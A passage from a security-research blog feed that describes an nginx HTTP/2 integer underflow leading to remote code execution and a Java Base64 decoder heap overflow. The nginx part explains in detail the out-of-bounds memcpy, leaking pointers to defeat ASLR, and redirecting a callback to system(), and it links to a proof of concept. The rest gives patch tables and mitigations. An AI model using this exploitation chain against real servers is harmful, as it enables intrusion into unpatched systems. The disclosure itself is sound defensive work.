}</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Because </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>size</span></span><span style='font-size: undefined;'> is negative, [15] places </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>last</span></span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>pos</span></span><span style='font-size: undefined;'>. The response body has not become larger; its buffer metadata is now invalid. The next output stage trusts that metadata.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Buffered TLS output copies beyond the buffers</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>For buffered TLS output, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ngx_ssl_send_chain()</span></span><span style='font-size: undefined;'> gathers bytes from the output chain into a temporary staging buffer before encryption. It calculates each input buffer's length using </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>last - pos</span></span><span style='font-size: undefined;'>. The invalid buffer produces a negative signed length at [16]:</span></p><p></p><pre language="c">// src/event/ngx_event_openssl.c
// ngx_ssl_send_chain()
// ...
ssize_t send, size, file_size;
// ...
size = in-&gt;buf-&gt;last - in-&gt;buf-&gt;pos;                  // &lt;--- [16]
if (size &gt; buf-&gt;end - buf-&gt;last) {
    size = buf-&gt;end - buf-&gt;last;
}
if (send + size &gt; limit) {
    size = (ssize_t) (limit - send);
}
// ...
ngx_memcpy(buf-&gt;last, in-&gt;buf-&gt;pos, size);            // &lt;--- [17]
buf-&gt;last += size;
in-&gt;buf-&gt;pos += size;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Both checks only reduce lengths that are too large. Neither rejects a negative length. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>memcpy</span></span><span style='font-size: undefined;'> takes an unsigned </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>size_t</span></span><span style='font-size: undefined;'> byte count, so [17] converts </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>-d</span></span><span style='font-size: undefined;'> back into the huge value </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^64-d</span></span><span style='font-size: undefined;'>. The actual source and destination buffers are far smaller. This is where the invalid connection credit first reaches an out-of-bounds native memory access.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A copy that actually traversed such an enormous range would normally encounter inaccessible memory and crash the worker. In the tested x86-64 glibc implementation, however, certain lengths just below </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^64</span></span><span style='font-size: undefined;'> cause the machine-level end-address calculations to wrap (Please see Addendum A below for more details on this unexpected </span>behavior<span style='font-size: undefined;'>). For a length of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^64-d</span></span><span style='font-size: undefined;'>, adding the length to a start address can produce an address </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>d</span></span><span style='font-size: undefined;'> bytes before it. The optimized copy uses these end addresses in its loop conditions, so it can finish after a limited number of reads and writes that reach outside the intended buffers. The copy can return if all locations it actually accesses are accessible; other lengths, memory layouts, or copy implementations can fault immediately. If it returns, nginx also moves both buffer positions backward by the negative signed length.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exploitation</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The invalid copy can both read and overwrite worker memory. It does not give the client an HTTP/2 field in which it can simply choose any memory address. The useful addresses depend on where nginx allocated the response and TLS buffers, how much output is already buffered, and which copy routine the C library selected. These are constrained read and write capabilities, not an unconditional arbitrary read or write.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>After creating the invalid DATA buffer, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ngx_http_v2_send_chain()</span></span><span style='font-size: undefined;'> updates its position in the original response and records the bytes that remain to be sent:</span></p><p></p><pre language="c">// src/http/v2/ngx_http_v2_filter_module.c
// ngx_http_v2_send_chain()
// ...
offset += rest;                                       // &lt;--- [18]
size -= rest;
// ...
if (offset) {
    cl = ngx_http_v2_filter_get_shadow(stream, in-&gt;buf,
                                       offset, size); // &lt;--- [19]
    // ...
    in-&gt;buf = cl-&gt;buf;
    // ...
}</pre><p></p><p><span style='font-size: undefined;'>Here, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>offset</span></span><span style='font-size: undefined;'> is the position within the original body and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>size</span></span><span style='font-size: undefined;'> is its remaining length. Starting at offset zero, the same unsigned value representing </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>-d</span></span><span style='font-size: undefined;'> makes [18] move the offset backward by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>d</span></span><span style='font-size: undefined;'> and increase the remaining length by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>d</span></span><span style='font-size: undefined;'> on the verified build. The shadow buffer created at [19] therefore has a positive length, but starts </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>d</span></span><span style='font-size: undefined;'> bytes before the original response and ends at its original end. If the oversized copy and connection survive, later ordinary DATA frames can carry those preceding bytes to the client through TLS. They can include pointers into the heap, where nginx dynamically allocates request data, or into loaded libraries. Those pointers disclose addresses that address-space layout randomization (ASLR) would otherwise hide.</span></p><p><span style='font-size: undefined;'>On the write side, nginx stores client-supplied request data in heap allocations. With a suitable allocation layout, the oversized copy can pick up those attacker-selected bytes and replace fields in a nearby live heap object. One useful field is a callback: a stored function pointer that nginx intends to call later. An attacker who knows the relevant process addresses and can overwrite that field may redirect normal nginx processing to existing executable code. The overwrite need not contain new machine code. This explains the general route from disclosed addresses and controlled bytes to code execution; it does not claim that every build exposes the same object or callback. Execution has the worker's permissions; execution as the master process or root has not been established.</span></p><p><span style='font-size: undefined;'>The </span><a href="https://github.com/sfewer-r7/CVE-2026-123007"><span style='font-size: undefined;'>proof-of-concept</span></a><span style='font-size: undefined;'> first recovers heap addresses and pointers into nginx and the GNU C Library (glibc) from memory preceding the original response body. It uses those addresses and the overwrite to forge nginx request and response-buffer objects that return selected parts of glibc's loaded image over HTTP/2. The returned ELF metadata is parsed to resolve </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>system()</span></span><span style='font-size: undefined;'> despite ASLR, then a request-pool cleanup callback is redirected to invoke an attacker-chosen command.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Addendum A: Why an oversized </span><span style='color:rgb(24, 128, 56);'>memcpy</span><span style='color:rgb(67, 67, 67);'> can return</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The TLS copy via </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ngx_memcpy</span></span><span style='font-size: undefined;'> (shown at [17] above) receives a byte count of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>2^64-d</span></span><span style='font-size: undefined;'>, where </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>d</span></span><span style='font-size: undefined;'> is a small positive distance. A routine that actually traversed that entire range would normally fault. This addendum explains why one optimized glibc implementation can instead finish after a limited number of out-of-bounds accesses.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>glibc chooses among optimized copy routines according to the CPU's capabilities. The tested x86-64 routine uses EVEX/YMM instructions, which can move 32 bytes at a time. In the corresponding glibc 2.41 source, the </span><a href="https://github.com/bminor/glibc/blob/glibc-2.41/sysdeps/x86_64/multiarch/memmove-evex-unaligned-erms.S"><span style='font-size: undefined;'>EVEX wrapper</span></a><span style='font-size: undefined;'> includes a shared </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>memcpy</span></span><span style='font-size: undefined;'>/</span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>memmove</span></span><span style='font-size: undefined;'> implementation, and its </span><a href="https://github.com/bminor/glibc/blob/glibc-2.41/sysdeps/x86_64/multiarch/x86-evex256-vecs.h"><span style='font-size: undefined;'>vector configuration</span></a><span style='font-size: undefined;'> sets </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>VEC_SIZE</span></span><span style='font-size: undefined;'> to 32. A vector is the block of bytes handled by one such instruction.</span></p><p><span style='font-size: undefined;'>The following excerpt uses AT&T assembly syntax, in which the source operand comes first. The CPU register </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>%rdi</span></span><span style='font-size: undefined;'> holds the original destination address, called </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>D</span></span><span style='font-size: undefined;'> below; </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>%rsi</span></span><span style='font-size: undefined;'> holds the source address, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Q</span></span><span style='font-size: undefined;'>; and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>%rdx</span></span><span style='font-size: undefined;'> holds the byte count, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>n</span></span><span style='font-size: undefined;'>. One route enters this backward-copy branch when </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>D</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Q</span></span><span style='font-size: undefined;'> are different and the unsigned difference </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>D-Q</span></span><span style='font-size: undefined;'> is smaller than </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>n</span></span><span style='font-size: undefined;'>. This includes the ordinary case where </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>D</span></span><span style='font-size: undefined;'> is above </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Q</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>n</span></span><span style='font-size: undefined;'> is close to the unsigned 64-bit maximum.</span></p><p><span style='font-size: undefined;'></span></p><pre language="c">// glibc 2.41: sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S
// Function: CPU-selected memcpy implementation, backward-copy branch
    // ...
L(more_8x_vec_backward):
    // ...
    leaq (VEC_SIZE * -4 + -1)(%rdi, %rdx), %rcx // &lt;--- [20]
    // ...
    andq $-(VEC_SIZE), %rcx                     // &lt;--- [21]
    // ...
L(loop_4x_vec_backward):
    // ... load and store four 32-byte vectors
    addq $(VEC_SIZE * -4), %rcx                 // &lt;--- [22]
    cmpq %rcx, %rdi                             // &lt;--- [23]
    jb L(loop_4x_vec_backward)
    // ... store the previously loaded leading and trailing vectors
    VZEROUPPER_RETURN                           // &lt;--- [24]</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>The full </span><a href="https://github.com/bminor/glibc/blob/glibc-2.41/sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S#L513"><span style='font-size: undefined;'>glibc assembly source</span></a><span style='font-size: undefined;'> shows the omitted loads and stores. At [20], </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>leaq</span></span><span style='font-size: undefined;'> calculates an address without reading memory. Its 64-bit result keeps only the low 64 bits. At [21], </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>andq</span></span><span style='font-size: undefined;'> rounds that address down to a 32-byte boundary. Calling the resulting destination address </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>cursor</span></span><span style='font-size: undefined;'>, the calculation is:</span></p><p><span style='font-size: undefined;'></span></p><pre language="c">cursor = align_down_32((D + n - 129) modulo 2^64)
       = align_down_32(D - d - 129), when n = 2^64-d</pre><p><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Here, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>align_down_32</span></span><span style='font-size: undefined;'> means rounding down to the nearest address divisible by 32; it is explanatory notation, not a glibc function. For an ordinary heap address and a small </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>d</span></span><span style='font-size: undefined;'>, the calculated cursor is already below </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>D</span></span><span style='font-size: undefined;'>.</span></p><p><span style='font-size: undefined;'>The loop starts by copying one 128-byte block. Instruction [22] then moves the cursor backward by another 128 bytes. The comparison and unsigned jump at [23] repeat the loop only while </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>D &lt; cursor</span></span><span style='font-size: undefined;'>. Because the cursor is already below </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>D</span></span><span style='font-size: undefined;'>, the jump is not taken. The routine writes its remaining leading and trailing vectors, then returns at [24]. It has not copied the enormous requested range: the wrapped address has made the loop stop after a small set of accesses. Those accesses can still read and overwrite memory outside the actual buffers.</span></p><h2 style="direction: ltr;">Remediation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The following vendor supplied fixes are available.</span></p><table><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Product</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Vulnerable Versions</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed Version</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>NGINX Plus</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>37.1.0</span></span><span style='font-size: undefined;'> - </span><span style='font-size: undefined;'><span data-type='inlineCode'>37.2.0.1</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>37.3.0.1</span></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>NGINX Plus</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>37.0.0</span></span><span style='font-size: undefined;'> - </span><span style='font-size: undefined;'><span data-type='inlineCode'>37.0.7.1</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>37.0.8.1</span></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>NGINX Plus</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>R34</span></span><span style='font-size: undefined;'> - </span><span style='font-size: undefined;'><span data-type='inlineCode'>R36</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>None</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>NGINX Open Source</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>1.31.0</span></span><span style='font-size: undefined;'> - </span><span style='font-size: undefined;'><span data-type='inlineCode'>1.31.8</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>1.31.9</span></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>NGINX Open Source</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>1.9.5</span></span><span style='font-size: undefined;'> - </span><span style='font-size: undefined;'><span data-type='inlineCode'>1.30.6</span></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>1.30.7</span></span></p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest remediation information, please see the vendor </span><a href="https://my.f5.com/manage/s/article/K000163926"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Disclosure timeline</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 11, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 makes initial outreach to F5.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 12, 2026:</strong></span><span style='font-size: undefined;'> F5 confirms outreach and Rapid7 discloses the vulnerability. F5 confirms receipt of the disclosure.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 16, 2026:</strong></span><span style='font-size: undefined;'> F5 confirms validation of the vulnerability, CVE assignment, and a disclosure date of November 18, 2026.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 18, 2026:</strong></span><span style='font-size: undefined;'> This disclosure.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/ve-cve-2026-123007-critical-nginx-http-2-integer-underflow-leads-to-rce-fixed</link>
      <guid isPermaLink="false">blt0c7adba9e9e2338d</guid>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Vulnerability Disclosure]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Stephen Fewer]]></dc:creator>
      <pubDate>Wed, 18 Nov 2026 13:56:42 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-114938: Reported Critical Pre-authentication Remote Code Execution in Java 17]]></title>
      <description><![CDATA[<h2>Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On November 17, 2026, Oracle released patches for </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-114938"><span style='font-size: undefined;'>CVE-2026-114938</span></a><span style='font-size: undefined;'>, a heap-based buffer overflow (</span><a href="https://cwe.mitre.org/data/definitions/122.html"><span style='font-size: undefined;'>CWE-122</span></a><span style='font-size: undefined;'>) in the hardware-accelerated Base64 decoder used by OpenJDK and its downstream distributions, such as Oracle Java SE, and Oracle GraalVM. The vulnerability, dubbed “</span><a href="https://calif.io/java4shell"><span style='font-size: undefined;'>Java4Shell</span></a><span style='font-size: undefined;'>” by finders Calif, can allow an unauthenticated remote attacker to crash a Java application or execute code with the privileges of its Java process. Oracle rates the vulnerability High, with a CVSS v3.1 score of </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"><span style='font-size: undefined;'>8.1</span></a><span style='font-size: undefined;'> and high attack complexity, in its </span><a href="https://www.oracle.com/security-alerts/cspunov2026.html"><span style='font-size: undefined;'>November security advisory</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Affected OpenJDK runtimes enable the vulnerable Base64 optimization by default when the Java virtual machine (JVM) can use the required x86-64 CPU features, including AVX-512 VBMI. A Java application exposes the flaw when it passes untrusted data to that optimized decoder. For example, a web service may decode HTTP Basic credentials before it checks the username and password. Red Hat reports no known exposure on ARM64 or on x86-64 processors without AVX-512 VBMI in its </span><a href="https://access.redhat.com/security/vulnerabilities/RHSB-2026-018"><span style='font-size: undefined;'>OpenJDK bulletin</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Calif’s disclosure states that they demonstrated unauthenticated remote code execution against several popular Java based applications, and they have </span><a href="https://calif.io/java4shell#poc"><span style='font-size: undefined;'>published</span></a><span style='font-size: undefined;'> a local proof of concept (PoC) for CVE-2026-114938, which can test if a local JDK is vulnerable.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Given the ubiquitous nature of Java and its deployment across enterprise environments, Rapid7 recommends identifying and remediating affected systems, with a focus on Internet exposed systems, on an emergency basis and outside of normal patching cycles.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 is actively monitoring the situation and will update this blog as new information arrives.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest vendor release information, refer to </span><a href="https://www.oracle.com/security-alerts/cspunov2026.html"><span style='font-size: undefined;'>Oracle's November security update notice</span></a><span style='font-size: undefined;'> and </span><a href="https://openjdk.org/groups/vulnerability/advisories/"><span style='font-size: undefined;'>OpenJDK's vulnerability advisories</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Technical overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-114938 affects a hardware-specific optimization in HotSpot, the Java virtual machine used by many OpenJDK distributions. When frequently used Base64 decoding code is compiled, HotSpot can substitute a native routine that processes multiple bytes at once. The vulnerable path requires an x86-64 runtime, CPU features including </span><a href="https://access.redhat.com/security/vulnerabilities/RHSB-2026-018"><span style='font-size: undefined;'>AVX-512 VBMI</span></a><span style='font-size: undefined;'>, and effective JVM settings that permit the optimizing compiler and Base64 intrinsic. Consequently, an affected Java version alone does not establish that a particular application is exploitable.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The defect occurs when that routine processes a malformed final Base64 group. Its calculation of the remaining output length can become negative, enabling a wider memory write than the destination can accommodate. Confirmed malformed-tail cases produce a 64-byte store extending 62 or 63 bytes beyond the calculated decoded-output length. Java subsequently rejects the malformed input, but catching that exception does not undo the corruption. Damage to another object can remain unnoticed until later activity, including garbage collection, crashes the JVM.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Turning this constrained overwrite into code execution requires additional work. A reliable exploit typically needs to influence which objects occupy the affected memory, convert the initial corruption into useful access to other objects, and identify application or runtime behavior that permits further execution. The practical outcome therefore depends on the application, JVM build, memory layout, and security boundaries. This distinction explains why a working corruption trigger does not establish a portable exploit for every Java service.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Remote exposure arises when an application passes attacker-controlled data to the affected decoder. Authentication headers and tokens are relevant examples, but reachability must be established for the actual implementation. The </span><a href="https://github.com/openjdk/jdk/commit/5177a70b385c16f26ede191fdac7aaba0bed0f8b"><span style='font-size: undefined;'>published OpenJDK fix</span></a><span style='font-size: undefined;'> hands final groups shorter than four bytes to the ordinary Java decoder. Organizations should apply their runtime vendor's fixed build and restart affected JVMs; disabling Base64 intrinsics with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>-XX:-UseBASE64Intrinsics</span></span><span style='font-size: undefined;'> is a temporary mitigation where supported.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 recommends applying the November security update as soon as possible, starting with internet-facing services that decode credentials or tokens before authentication. Identify the runtime vendor and full build each service uses, including Java runtimes bundled with applications, appliances, and container images.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>OpenJDK lists release versions 17, 21, 25, and 27 as affected by CVE-2026-114938 in its </span><a href="https://openjdk.org/groups/vulnerability/advisories/2026-11-17"><span style='font-size: undefined;'>November 17 advisory</span></a><span style='font-size: undefined;'>. </span><a href="https://access.redhat.com/security/vulnerabilities/RHSB-2026-018"><span style='font-size: undefined;'>Red Hat</span></a><span style='font-size: undefined;'> identifies OpenJDK </span><span style='font-size: undefined;'><span data-type='inlineCode'>17.0.6</span></span><span style='font-size: undefined;'> as the earliest affected version 17.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Oracle separately identifies its Java 8 Enterprise Performance Pack as affected in the </span><a href="https://www.oracle.com/security-alerts/cspunov2026.html"><span style='font-size: undefined;'>Java risk matrix</span></a><span style='font-size: undefined;'>. The table below pairs affected Oracle builds with the November updates listed in the </span><a href="https://www.oracle.com/java/technologies/javase/27-0-1-1-relnotes.html"><span style='font-size: undefined;'>JDK security baselines</span></a><span style='font-size: undefined;'>, </span><a href="https://www.oracle.com/java/technologies/javase/8u513-perf-relnotes.html"><span style='font-size: undefined;'>Enterprise Performance Pack release notes</span></a><span style='font-size: undefined;'>, and </span><a href="https://www.graalvm.org/release-calendar/"><span style='font-size: undefined;'>GraalVM release calendar</span></a><span style='font-size: undefined;'>.</span></p><table><colgroup data-width='750'><col style="width:44.230769230769226%"/><col style="width:22.435897435897438%"/><col style="width:33.33333333333333%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Product Name</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Vulnerable Java Version</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Patched Version (Official Release Notes)</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Oracle Java SE 8 Performance Edition</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>8u511b33-perf</span></span></p></td><td><p style="direction: ltr;"><a href="https://www.oracle.com/java/technologies/javase/8all-relnotes.html?utm_source=chatgpt.com"><span style='font-size: undefined;'><span data-type='inlineCode'>8u513-perf</span></span></a></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Oracle Java SE 17</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>17.0.21.0.3</span></span></p></td><td><p style="direction: ltr;"><a href="https://www.oracle.com/java/technologies/javase/17-0-21-1-relnotes.html"><span style='font-size: undefined;'><span data-type='inlineCode'>17.0.21.1</span></span></a></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Oracle Java SE 21</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>21.0.13.0.3</span></span></p></td><td><p style="direction: ltr;"><a href="https://www.oracle.com/java/technologies/javase/21-0-13-1-relnotes.html"><span style='font-size: undefined;'><span data-type='inlineCode'>21.0.13.1</span></span></a></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Oracle Java SE 25</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>25.0.5.0.3</span></span></p></td><td><p style="direction: ltr;"><a href="https://www.oracle.com/java/technologies/javase/25-0-5-1-relnotes.html"><span style='font-size: undefined;'><span data-type='inlineCode'>25.0.5.1</span></span></a></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Oracle Java SE 27</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>27.0.1.0.3</span></span></p></td><td><p style="direction: ltr;"><a href="https://www.oracle.com/java/technologies/javase/27-0-1-1-relnotes.html"><span style='font-size: undefined;'><span data-type='inlineCode'>27.0.1.1</span></span></a></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Oracle GraalVM for JDK 17</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>17.0.21.0.3</span></span></p></td><td><p style="direction: ltr;"><a href="https://docs.oracle.com/en/graalvm/jdk/17/docs/release-notes/"><span style='font-size: undefined;'><span data-type='inlineCode'>17.0.21.1</span></span></a></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Oracle GraalVM for JDK 21</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>21.0.13.0.3</span></span></p></td><td><p style="direction: ltr;"><a href="https://docs.oracle.com/en/graalvm/jdk/21/docs/release-notes/"><span style='font-size: undefined;'><span data-type='inlineCode'>21.0.13.1</span></span></a></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Oracle GraalVM Enterprise Edition</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><span data-type='inlineCode'>21.3.20.0.3</span></span></p></td><td><p style="direction: ltr;"><a href="https://docs.oracle.com/en/graalvm/enterprise/21/docs/release-notes/"><span style='font-size: undefined;'><span data-type='inlineCode'>21.3.20.1</span></span></a></p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'>For other OpenJDK based distributions, use the patched package from your Java vendor. If an application or appliance bundles Java, use the product vendor’s update. Rebuild affected container images, redeploy the workloads, and restart affected services. Verify that each running Java process uses the patched build, as </span><a href="https://www.circl.lu/pub/tr-104/"><span style='font-size: undefined;'>CIRCL recommends</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>If you cannot patch an affected OpenJDK service immediately, restart its JVM with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>-XX:-UseBASE64Intrinsics</span></span><span style='font-size: undefined;'>. This disables hardware acceleration for Base64 decoding while leaving other CPU optimizations in place. </span></p><h2 style="direction: ltr;">Rapid7 customers</h2><p><span style='font-size: undefined;'>To learn how to use Rapid7 capabilities to find systems affected by this vulnerability and for answers to common questions, read the </span><a href="https://docs.rapid7.com/insightvm/oracle-openjdk-java/"><span style='font-size: undefined;'>Oracle OpenJDK Java (CVE-2026-114938) documentation</span></a><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-114938 with an authenticated vulnerability check available to the scan engine and Rapid7 Agent in the November 17 content release (<span data-type='inlineCode'>1.1.4115</span>).</p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 17, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>November 18, 2026</strong></span><span style='font-size: undefined;'>: Updated the Overview to reflect the published advisory. Added a Technical overview section. Added a Mitigation guidance section.</span></li><li><span style='font-size: undefined;'><strong>November 18, 2026</strong></span><span style='font-size: undefined;'>: Added link to the Rapid7 </span><a 